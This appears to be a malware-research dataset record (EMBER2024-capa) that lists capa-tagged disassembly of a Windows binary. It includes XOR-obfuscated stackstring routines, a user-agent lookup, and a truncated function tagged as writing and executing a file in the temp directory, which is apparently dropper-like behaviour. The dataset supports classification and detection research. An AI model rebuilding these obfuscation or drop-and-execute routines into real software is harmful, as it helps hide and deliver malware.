joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140178a60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
test byte [rcx + 0xd8], 1
mov rdi, rdx
mov rbx, rcx
je 0x140178ad6
mov r9, qword [rcx + 0xe0]
test r9, r9
je 0x140178acb
mov r8d, dword [rcx + 0xdc]
lea rdx, [0x1401f4480]
nop dword [rax]
nop word [rax + rax]
mov ecx, r8d
movzx eax, r9b
shr r9, 8
shr rcx, 0x18
xor rcx, rax
mov eax, r8d
mov r8d, dword [rdx + rcx*4]
shl eax, 8
xor r8d, eax
test r9, r9
jne 0x140178aa0
mov dword [rbx + 0xdc], r8d
mov eax, dword [rbx + 0xdc]
not eax
mov dword [rdi + 4], eax
test dword [rbx + 0xd8], 0x100
je 0x140178af3
lea rdx, [rdi + 8]
lea rcx, [rbx + 0xe8]
call qword [0x1401f5eb0]
test dword [rbx + 0xd8], 0x4000
je 0x140178b10
lea rdx, [rdi + 0x2c]
lea rcx, [rbx + 0x100]
call qword [0x1401f5ee0]
mov eax, dword [rbx + 0xd8]
mov rbx, qword [rsp + 0x30]
mov dword [rdi], eax
add rsp, 0x20
pop rdi
ret

Function at 0x140178bd0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov r10d, dword [rcx + 0xd8]
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
test r10b, 1
je 0x140178c3e
mov r9, rdx
test r8, r8
je 0x140178c37
mov edx, dword [rcx + 0xdc]
lea r11, [0x1401f4480]
nop word [rax + rax]
movzx eax, byte [r9]
mov ecx, edx
lea r9, [r9 + 1]
shr rcx, 0x18
xor rcx, rax
mov eax, edx
mov edx, dword [r11 + rcx*4]
shl eax, 8
xor edx, eax
mov dword [rbx + 0xdc], edx
dec r8
jne 0x140178c10
add qword [rbx + 0xe0], rdi
bt r10d, 8
jae 0x140178c58
lea rcx, [rbx + 0xe8]
mov r8, rdi
mov rdx, rsi
call qword [0x1401f5ea8]
test dword [rbx + 0xd8], 0x4000
je 0x140178c77
lea rcx, [rbx + 0x100]
mov r8, rdi
mov rdx, rsi
call qword [0x1401f5ed8]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140186970
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
push r12
push r13
push r14
push r15
mov esi, dword [rcx + 0x4804]
mov ebp, edx
lea r9, [0x1401f65b0]
mov dword [rcx + rbp*4 + 0x4808], esi
movzx edx, word [rcx]
mov r11, rcx
movzx ecx, word [rcx + 2]
mov eax, edx
xor rdx, 0x7f0
shr rax, 4
shr rdx, 4
lea r12, [r11 + 0x404]
movzx r14d, byte [rax + r9]
movzx r8d, byte [rdx + r9]
mov eax, ecx
shr rax, 4
xor rcx, 0x7f0
mov dword [rsp + 0x38], r14d
movzx r15d, byte [rax + r9]
shr rcx, 4
movzx r13d, byte [rcx + r9]
add r15d, r8d
xor r9d, r9d
imul rax, rbp, 0x440
add r12, rax
add r13d, r8d
test esi, esi
je 0x140186b6a
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rdi
mov rdi, r12
cmp r9d, 8
jae 0x140186a80
xor r10d, r10d
lea r8d, [r9 + 8]
lea rbx, [rbp*8]
lea r14, [0x1401f65b0]
nop dword [rax]
nop dword [rax + rax]
mov ecx, r8d
shr r8d, 1
and ecx, 1
mov eax, r8d
add rax, rbx
movzx edx, word [r11 + rax*2 + 4]
mov eax, ecx
neg eax
shr rdx, 4
shr rax, 4
and eax, 0x7f
xor rdx, rax
movzx eax, byte [rdx + r14]
add r10d, eax
cmp r8d, 1
jne 0x140186a30
mov eax, dword [rsp + 0x38]
inc r9d
add rdi, 4
add eax, r10d
mov dword [rdi - 4], eax
cmp r9d, esi
jb 0x140186a08
jmp 0x140186b60
cmp r9d, esi
jae 0x140186b60
lea rdi, [r12 + r9*4]
lea r14, [0x1401f65b0]
cmp r9d, 0x10
jae 0x140186afd
xor r10d, r10d
mov r8d, r9d
lea rbx, [rbp*8]
nop dword [rax + rax]
mov ecx, r8d
shr r8d, 1
and ecx, 1
mov eax, r8d
add rax, rbx
movzx edx, word [r11 + rax*2 + 0x104]
mov eax, ecx
neg eax
shr rdx, 4
shr rax, 4
and eax, 0x7f
xor rdx, rax
movzx eax, byte [rdx + r14]
add r10d, eax
cmp r8d, 1
jne 0x140186ab0
lea eax, [r10 + r15]
inc r9d
add rdi, 4
mov dword [rdi - 4], eax
cmp r9d, esi
jb 0x140186a94
jmp 0x140186b60
cmp r9d, esi
jae 0x140186b60
lea rbx, [r12 + r9*4]
nop word [rax + rax]
xor r10d, r10d
lea eax, [r9 + 0xf0]
nop word [rax + rax]
mov ecx, eax
shr eax, 1
movzx r8d, word [r11 + rax*2 + 0x204]
and ecx, 1
neg ecx
shr r8, 4
shr rcx, 4
and ecx, 0x7f
xor r8, rcx
movzx ecx, byte [r8 + r14]
add r10d, ecx
cmp eax, 1
jne 0x140186b20
lea eax, [r10 + r13]
inc r9d
add rbx, 4
mov dword [rbx - 4], eax
cmp r9d, esi
jb 0x140186b10
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
Function at 0x140186b80
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov rsi, qword [rdx]
mov r11d, dword [rdx + 0x18]
mov ebp, dword [rdx + 0x1c]
mov rax, rcx
mov r10d, r8d
mov ecx, r11d
mov edx, dword [rax + 0xb98]
sub ecx, ebp
mov r9d, 8
movzx edi, byte [rcx + rsi]
dec ecx
and edx, r10d
movzx r8d, byte [rcx + rsi]
mov ecx, r9d
lea rbx, [rax + 0xb9c]
sub cl, byte [rax + 0xb94]
shr r8d, cl
mov ecx, dword [rax + 0xb94]
shl edx, cl
add r8d, edx
lea rdx, [r8 + r8*2]
shl rdx, 9
add rbx, rdx
cmp dword [rax + 0x2e0], 7
jge 0x140186c3c
lea r10d, [r9 - 7]
movzx r11d, dil
nop dword [rax]
dec r9d
mov r8d, r11d
movzx ecx, r9b
shr r8d, cl
mov rcx, qword [rax + 0x18]
and r8d, 1
mov dword [rax + rcx*4 + 0x28], r8d
mov ecx, r10d
lea rdx, [rbx + rcx*2]
mov rcx, qword [rax + 0x18]
lea r10d, [r8 + r10*2]
mov qword [rax + rcx*8 + 0x110], rdx
inc qword [rax + 0x18]
test r9d, r9d
jne 0x140186c00
jmp 0x140186cb0
sub r11d, dword [rax + 0x2e4]
mov r9d, 0x100
movzx r8d, dil
sub r11d, ebp
dec r11d
add r8d, r9d
movzx r10d, byte [r11 + rsi]
nop dword [rax + rax]
mov rcx, qword [rax + 0x18]
mov edx, r8d
add r10d, r10d
shr edx, 7
and edx, 1
mov dword [rax + rcx*4 + 0x28], edx
mov ecx, r9d
mov edx, r8d
and ecx, r10d
shr edx, 8
add r8d, r8d
add ecx, r9d
add edx, ecx
mov rcx, qword [rax + 0x18]
lea rdx, [rbx + rdx*2]
mov qword [rax + rcx*8 + 0x110], rdx
inc qword [rax + 0x18]
mov ecx, r10d
xor ecx, r8d
not ecx
and r9d, ecx
cmp r8d, 0x10000
jb 0x140186c60
mov ecx, dword [rax + 0x2e0]
cmp ecx, 3
jg 0x140186cc7
mov dword [rax + 0x2e0], 0
jmp 0x140186cda
cmp ecx, 9
jg 0x140186cd1
add ecx, 0xfffffffd
jmp 0x140186cd4
add ecx, 0xfffffffa
mov dword [rax + 0x2e0], ecx
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret

Function at 0x14018a380
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ebx, r8d
mov rsi, rdx
mov rdi, rcx
call fcn.14018a3e0
not ebx
test rsi, rsi
je 0x14018a3cc
lea rcx, [0x1402222a0]
nop dword [rax + rax]
movzx eax, byte [rdi]
movzx edx, bl
lea rdi, [rdi + 1]
xor rdx, rax
mov eax, ebx
mov ebx, dword [rcx + rdx*4]
shr eax, 8
xor ebx, eax
dec rsi
jne 0x14018a3b0
mov rsi, qword [rsp + 0x38]
not ebx
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14018bbe0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [0x140220e00], 0
mov r10, rcx
lea r11, [0x140220e10]
jne 0x14018bc9c
mov byte [0x140220e00], 1
xor r9d, r9d
movabs rcx, 0xc96c5795d7870f42
nop dword [rax + rax]
mov rax, r9
shr rax, 1
test r9b, 1
je 0x14018bc1f
xor rax, rcx
test al, 1
je 0x14018bc2b
shr rax, 1
xor rax, rcx
jmp 0x14018bc2e
shr rax, 1
test al, 1
je 0x14018bc3a
shr rax, 1
xor rax, rcx
jmp 0x14018bc3d
shr rax, 1
test al, 1
je 0x14018bc49
shr rax, 1
xor rax, rcx
jmp 0x14018bc4c
shr rax, 1
test al, 1
je 0x14018bc58
shr rax, 1
xor rax, rcx
jmp 0x14018bc5b
shr rax, 1
test al, 1
je 0x14018bc67
shr rax, 1
xor rax, rcx
jmp 0x14018bc6a
shr rax, 1
test al, 1
je 0x14018bc76
shr rax, 1
xor rax, rcx
jmp 0x14018bc79
shr rax, 1
test al, 1
je 0x14018bc85
shr rax, 1
xor rax, rcx
jmp 0x14018bc88
shr rax, 1
mov qword [r11 + r9*8], rax
inc r9
cmp r9, 0x100
jb 0x14018bc10
not r8
test rdx, rdx
je 0x14018bcd2
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r10]
movzx ecx, r8b
lea r10, [r10 + 1]
xor rcx, rax
mov rax, r8
mov r8, qword [r11 + rcx*8]
shr rax, 8
xor r8, rax
dec rdx
jne 0x14018bcb0
not r8
mov rax, r8
ret

Function at 0x14018c2e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov rsi, rcx
xor r9d, r9d
lea rdi, [rcx + 0x10e98]
lea rbp, [0x1401f65b0]
nop dword [rax + rax]
mov r10d, r9d
mov ebx, 4
xor eax, eax
mov r11d, 1
mov ecx, r11d
mov r8d, r10d
shr r10d, 1
movzx edx, word [rsi + rcx*2 + 0x71e0]
and r8d, 1
mov ecx, r8d
shr rdx, 4
lea r11d, [r8 + r11*2]
neg ecx
shr rcx, 4
and ecx, 0x7f
xor rdx, rcx
movzx ecx, byte [rdx + rbp]
add eax, ecx
dec ebx
jne 0x14018c320
inc r9d
mov dword [rdi], eax
add rdi, 4
cmp r9d, 0x10
jb 0x14018c310
mov rbp, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x20]
mov dword [rsi + 0x10ed8], ebx
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x18]
ret
Function at 0x14018c380
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov r14d, 4
mov r10, rcx
xor edi, edi
lea rbx, [rcx + 0x10290]
lea rsi, [rcx + 0x10694]
lea r15, [0x1401f65b0]
mov ebp, r14d
nop dword [rax + rax]
xor r11d, r11d
cmp dword [r10 + 0x10e90], r11d
jbe 0x14018c424
nop dword [rax]
xor r9d, r9d
lea eax, [r11 + 0x40]
nop word [rax + rax]
mov edx, eax
shr eax, 1
and edx, 1
mov ecx, eax
add rcx, rdi
movzx r8d, word [r10 + rcx*2 + 0x6efc]
mov ecx, edx
neg ecx
shr r8, 4
shr rcx, 4
and ecx, 0x7f
xor r8, rcx
movzx ecx, byte [r8 + r15]
add r9d, ecx
cmp eax, 1
jne 0x14018c3e0
mov dword [rbx + r11*4], r9d
inc r11d
cmp r11d, dword [r10 + 0x10e90]
jb 0x14018c3d0
mov edx, ntohs
cmp dword [r10 + 0x10e90], edx
jbe 0x14018c44f
mov eax, edx
lea rcx, [rbx + rax*4]
mov eax, edx
inc edx
shr eax, 1
sub eax, 5
shl eax, 4
add dword [rcx], eax
cmp edx, dword [r10 + 0x10e90]
jb 0x14018c432
mov eax, dword [rbx]
add rsi, 0x200
add rbx, 0x100
mov dword [rsi - 0x204], eax
mov eax, dword [rbx - 0xfc]
add rdi, 0x40
mov dword [rsi - 0x200], eax
mov eax, dword [rbx - 0xf8]
mov dword [rsi - 0x1fc], eax
mov eax, dword [rbx - 0xf4]
mov dword [rsi - 0x1f8], eax
dec rbp
jne 0x14018c3c0
lea rdi, [r10 + 0x108a0]
nop dword [rax]
cmp r14d, 4
ja 0x14018c4ab
mov edx, r14d
jmp 0x14018c4bd
bsr edx, r14d
mov eax, r14d
lea ecx, [rdx - 1]
shr eax, cl
and eax, 1
lea edx, [rax + rdx*2]
mov r9d, edx
mov eax, edx
mov ebx, r14d
and eax, 1
shr r9d, 1
mov r11d, edx
dec r9d
or eax, 2
mov ecx, r9d
shl eax, cl
sub ebx, eax
xor r8d, r8d
mov ebp, eax
lea esi, [r8 + 1]
mov eax, esi
mov edx, ebx
shr ebx, 1
sub rax, r11
and edx, 1
add rax, rbp
lea esi, [rdx + rsi*2]
movzx ecx, word [r10 + rax*2 + 0x70fa]
mov eax, edx
neg eax
shr rcx, 4
shr rax, 4
and eax, 0x7f
xor rcx, rax
movzx eax, byte [rcx + r15]
add r8d, eax
dec r9d
jne 0x14018c4e4
mov ecx, dword [r10 + r11*4 + 0x10290]
inc r14d
add rdi, 4
add ecx, r8d
mov dword [rdi - 0x204], ecx
mov ecx, dword [r10 + r11*4 + 0x10390]
add ecx, r8d
mov dword [rdi - 4], ecx
mov ecx, dword [r10 + r11*4 + 0x10490]
add ecx, r8d
mov dword [rdi + 0x1fc], ecx
mov ecx, dword [r10 + r11*4 + 0x10590]
add ecx, r8d
mov dword [rdi + 0x3fc], ecx
cmp r14d, 0x80
jb 0x14018c4a0
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov dword [r10 + 0x10e94], r9d
pop r15
pop r14
ret
Function at 0x14018c680
Capabilities:
Encode data using xor

Disassembly:
push rdi
mov r10d, dword [rcx + 0xb94]
mov r11, rcx
mov ecx, 8
mov eax, dword [r11 + 0xb98]
sub ecx, r10d
shr r8d, cl
and eax, edx
mov ecx, r10d
shl eax, cl
xor r10d, r10d
add r8d, eax
lea rdi, [r8 + r8*2]
shl rdi, 9
add rdi, r11
lea r11, [0x1401f65b0]
test r9b, r9b
jne 0x14018c706
mov ecx, dword [rsp + 0x38]
add ecx, 0x100
nop dword [rax]
mov r8d, ecx
shr ecx, 1
movzx r9d, word [rdi + rcx*2 + 0xb9c]
and r8d, 1
neg r8d
shr r9, 4
shr r8, 4
and r8d, 0x7f
xor r9, r8
movzx edx, byte [r9 + r11]
add r10d, edx
cmp ecx, 1
jne 0x14018c6d0
mov eax, r10d
pop rdi
ret
mov r8d, dword [rsp + 0x38]
mov r9d, 0x100
mov qword [rsp + 0x10], rbx
mov ebx, dword [rsp + 0x30]
add r8d, r9d
nop dword [rax]
mov ecx, r8d
add ebx, ebx
mov eax, r9d
shr ecx, 8
and eax, ebx
add eax, r9d
add ecx, eax
movzx edx, word [rdi + rcx*2 + 0xb9c]
mov ecx, r8d
add r8d, r8d
shr ecx, 7
shr rdx, 4
and ecx, 1
neg ecx
shr rcx, 4
and ecx, 0x7f
xor rdx, rcx
movzx eax, byte [rdx + r11]
add r10d, eax
mov eax, ebx
xor eax, r8d
not eax
and r9d, eax
cmp r8d, 0x10000
jb 0x14018c720
mov rbx, qword [rsp + 0x10]
mov eax, r10d
pop rdi
ret
Function at 0x140191360
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov eax, dword [rcx + 0x60]
movzx r9d, byte [rcx + 0x5c]
test eax, eax
jle 0x1401913b7
mov r8d, dword [rcx + 0x288]
mov qword [rsp], rbx
movzx r11d, r9b
lea rbx, [0x1402161a0]
mov r10d, eax
nop dword [rax]
mov edx, r8d
mov eax, r8d
shr rdx, 0x18
shl eax, 8
xor rdx, r11
mov r8d, dword [rbx + rdx*4]
xor r8d, eax
mov dword [rcx + 0x288], r8d
dec r10
jne 0x140191390
mov rbx, qword [rsp]
mov eax, dword [rcx + 0x5c]
mov byte [rax + rcx + 0x80], 1
movsxd r8, dword [rcx + 0x60]
mov edx, r8d
dec edx
je 0x140191456
dec edx
je 0x140191447
dec edx
je 0x140191438
mov byte [r8 + rcx + 0x7c], 1
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
movzx r8d, byte [rcx + 0x60]
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
sub r8b, 4
mov byte [rdx + rax], r8b
inc dword [rcx + 0x6c]
add rsp, 8
ret
movsxd rdx, dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
movsxd rdx, dword [rcx + 0x6c]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
mov rax, qword [rcx + 0x40]
movsxd rdx, dword [rcx + 0x6c]
mov byte [rdx + rax], r9b
inc dword [rcx + 0x6c]
add rsp, 8
ret
Function at 0x1401b9278
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140221610], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x140221620]
jne 0x1401b92c5
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x140221648], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140221610], 1
mov ecx, dword [0x140221648]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x1401b939a
mov rcx, qword [0x14021be74]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x1401b93c5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140221618]
test rax, rax
je 0x1401b9315
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140221618], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x1401b93e0]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x140221648]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x14021be74]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401b93c5
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x600031
mov dword [rbp - 0x2c], 0x610076
mov dword [rbp - 0x28], 0x72007a
mov dword [rbp - 0x24], 0x31007f
lea ecx, [rbx + 0xf]
mov dword [rbp - 0x20], 0x310029
mov dword [rbp - 0x1c], 0x230036
mov dword [rbp - 0x18], 0x4b002b
mov dword [rbp - 0x14], 0x3f0031
mov word [rbp - 0x10], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001064
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001084
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x39], 0x67007b
mov dword [rbp - 0x35], 0x630067
mov dword [rbp - 0x31], 0x290060
mov dword [rbp - 0x2d], 0x3c003c
lea ecx, [rbx + 0x51]
mov dword [rbp - 0x29], 0x7c0075
mov dword [rbp - 0x25], 0x78007f
mov dword [rbp - 0x21], 0x76007e
mov dword [rbp - 0x1d], 0x7a0077
mov dword [rbp - 0x19], 0x790072
mov dword [rbp - 0x15], 0x66007c
mov dword [rbp - 0x11], 0x7d0061
mov dword [rbp - 0xd], 0x7f0072
mov dword [rbp - 9], 0x70003d
mov dword [rbp - 5], 0x7e007c
mov dword [rbp - 1], 0x72003c
mov dword [rbp + 3], 0x72007d
mov dword [rbp + 7], 0x6a007f
mov dword [rbp + 0xb], 0x7a0067
mov dword [rbp + 0xf], 0x600070
mov dword [rbp + 0x13], 0x60003c
mov dword [rbp + 0x17], 0x610070
mov dword [rbp + 0x1b], 0x63007a
mov dword [rbp + 0x1f], 0x3d0067
mov dword [rbp + 0x23], 0x7b0063
mov dword [rbp + 0x27], 0x130063
call fcn.14000257c
lea r9, [rbp - 0x39]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0x1f]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001171
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400011a8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x29], 0x67007b
mov dword [rbp - 0x25], 0x630067
mov dword [rbp - 0x21], 0x290060
mov dword [rbp - 0x1d], 0x3c003c
lea ecx, [rbx + 0x4f]
mov dword [rbp - 0x19], 0x7f0072
mov dword [rbp - 0x15], 0x67007f
mov dword [rbp - 0x11], 0x700076
mov dword [rbp - 0xd], 0x7b007b
mov dword [rbp - 9], 0x7f0072
mov dword [rbp - 5], 0x7d0075
mov dword [rbp - 1], 0x640076
mov dword [rbp + 3], 0x3d0060
mov dword [rbp + 7], 0x7c0070
mov dword [rbp + 0xb], 0x3c007e
mov dword [rbp + 0xf], 0x7d0072
mov dword [rbp + 0x13], 0x7f0072
mov dword [rbp + 0x17], 0x67006a
mov dword [rbp + 0x1b], 0x70007a
mov dword [rbp + 0x1f], 0x3c0060
mov dword [rbp + 0x23], 0x700060
mov dword [rbp + 0x27], 0x7a0061
mov dword [rbp + 0x2b], 0x670063
mov dword [rbp + 0x2f], 0x63003d
mov dword [rbp + 0x33], 0x63007b
mov word [rbp + 0x37], bx
call fcn.14000257c
lea r9, [rbp - 0x29]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0x1e]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000128e
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400012c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x50], 0x720031
mov dword [rbp - 0x4c], 0x630063
mov dword [rbp - 0x48], 0x720077
mov dword [rbp - 0x44], 0x720067
lea ecx, [rbx + 0x35]
mov dword [rbp - 0x40], 0x70004c
mov dword [rbp - 0x3c], 0x760061
mov dword [rbp - 0x38], 0x670072
mov dword [rbp - 0x34], 0x7c007a
mov dword [rbp - 0x30], 0x4c007d
mov dword [rbp - 0x2c], 0x7a0067
mov dword [rbp - 0x28], 0x76007e
mov dword [rbp - 0x24], 0x290031
mov dword [rbp - 0x20], 0x360031
mov dword [rbp - 0x1c], 0x2b0023
mov dword [rbp - 0x18], 0x36004b
mov dword [rbp - 0x14], 0x2b0023
mov dword [rbp - 0x10], 0x31004b
mov dword [rbp - 0xc], 0x13003f
call fcn.14000257c
lea r9, [rbp - 0x50]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0x11]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001366
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x14000138c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x600031
mov dword [rbp - 0x2c], 0x7a0078
mov dword [rbp - 0x28], 0x4c0063
mov dword [rbp - 0x24], 0x7a0060
lea ecx, [rbx + 0x13]
mov dword [rbp - 0x20], 0x7d0074
mov dword [rbp - 0x1c], 0x670072
mov dword [rbp - 0x18], 0x610066
mov dword [rbp - 0x14], 0x310076
mov dword [rbp - 0x10], 0x310029
mov word [rbp - 0xc], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, ebx
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400013f6
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x140001adc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x60002f
mov dword [rbp - 0x2c], 0x720063
mov dword [rbp - 0x28], 0x2d007d
mov dword [rbp - 0x24], 0x74007d
lea ecx, [rbx + 0x13]
mov dword [rbp - 0x20], 0x7d007a
mov dword [rbp - 0x1c], 0x2f006b
mov dword [rbp - 0x18], 0x60003c
mov dword [rbp - 0x14], 0x720063
mov dword [rbp - 0x10], 0x2d007d
mov word [rbp - 0xc], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, ebx
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001b46
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001b68
Capabilities:
Reference http user-agent string

Disassembly:
mov rax, rsp
sub rsp, 0x228
lea r8, [rax + 8]
mov dword [rax + 8], 0x200
lea rdx, [rsp + 0x20]
xor ecx, ecx
call sub.urlmon.dll_ObtainUserAgentString
test eax, eax
jns 0x140001b91
xor eax, eax
jmp 0x140001b9b
lea rcx, [rsp + 0x20]
call fcn.140007564
add rsp, 0x228
ret

Function at 0x140001ba4
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and qword [rbp + 0x180], 0
lea r8, [rbp + 0x180]
movsxd rdx, edx
call fcn.140009b0c
lea rdx, [rsp + 0x40]
mov ecx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x188]
